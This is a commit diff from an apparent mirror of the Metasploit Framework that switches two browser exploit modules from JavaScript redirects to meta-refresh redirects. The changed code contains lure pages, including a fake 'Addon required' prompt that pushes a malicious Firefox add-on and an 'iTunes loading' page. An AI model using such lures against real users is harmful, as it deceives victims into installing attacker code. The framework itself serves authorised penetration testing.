infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Land #8910, Use meta redirect instead of JS redirect in 2 modules

bug/bundler_fix
Pearce Barry 2017-09-01 13:50:02 -05:00
parent 055e88d261 49173818fd
commit 6051a1a1c1
No known key found for this signature in database
GPG Key ID: 0916F4DEA5C5DE0A
2 changed files with 7 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
View File

@ -65,9 +65,9 @@ class MetasploitModule < Msf::Exploit::Remote
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
html = %Q|<html><head><title>Loading, Please Wait...</title>\n|
html << %Q|<meta http-equiv="refresh" content="0; url=addon.xpi"></head>\n|
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
html << %Q|<script>window.location.href="addon.xpi";</script>\n|
html << %Q|</body></html>|
return html
end

7
modules/exploits/multi/browser/itms_overflow.rb
View File

@ -98,11 +98,14 @@ class MetasploitModule < Msf::Exploit::Remote
# Return back an example URL. Using an iframe doesn't work with all
# browsers, but that's easy enough to fix if you need to.
return String(<<-EOS)
<html><head><title>iTunes loading . . .</title></head>
<html>
<head>
<title>iTunes loading . . .</title>
<meta http-equiv="refresh" content="0; url='#{itms_base_url}'">
</head>
<body>
<p>iTunes should open automatically, but if it doesn't, click to
<a href="#{itms_base_url}">continue</a>.</p>
<script>document.location.assign("#{itms_base_url}");</script>
</body>
</html>
EOS